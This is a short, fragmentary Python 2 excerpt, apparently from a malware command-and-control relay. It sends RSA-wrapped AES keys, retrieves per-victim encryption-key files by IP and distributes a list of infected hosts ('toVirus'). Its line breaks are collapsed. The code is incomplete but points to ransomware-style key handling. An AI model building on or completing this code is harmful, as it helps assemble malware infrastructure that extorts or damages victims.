def sendAESKey(self): pkt = Packet() pkt.state = '100' pkt.toIP = '' pkt.returnIP = 'MRS' pkt.data = self.key pkt.RSAEncryptData(self.RSAPublicKey) pkt.length = len(pkt.data) self.messageQ.put(pkt)
def send(client): cmd = raw_input("Enter command: ") pkt = Packet() pkt.toIP = attackip pkt.state = cmd if pkt.state == "147": base = "C:\Users\Matt\Desktop\\testfolder" path = base + "\\" + pkt.toIP + "-encryptionkey" try: f = open(path,"rb") pkt.data = f.read() pkt.length = len(pkt.data) except: print "no encryption key found" pkt.send(client)
def sendIPList(self,address=""): state = "100" ips = self.toVirus.keys() data = "" for ip in ips: data += ip + ":" + self.toVirus[ip][2] length = len(data) pkt = Packet() pkt.state = state pkt.length = str(length) pkt.data = data pkt.encryptData(self.AESKey) print "IPList: " + data if address != "": pkt.returnIP = address[0] self.enqueueToClient(pkt) else: for ip in self.toClient.keys(): self.enqueueToClient(pkt,ip)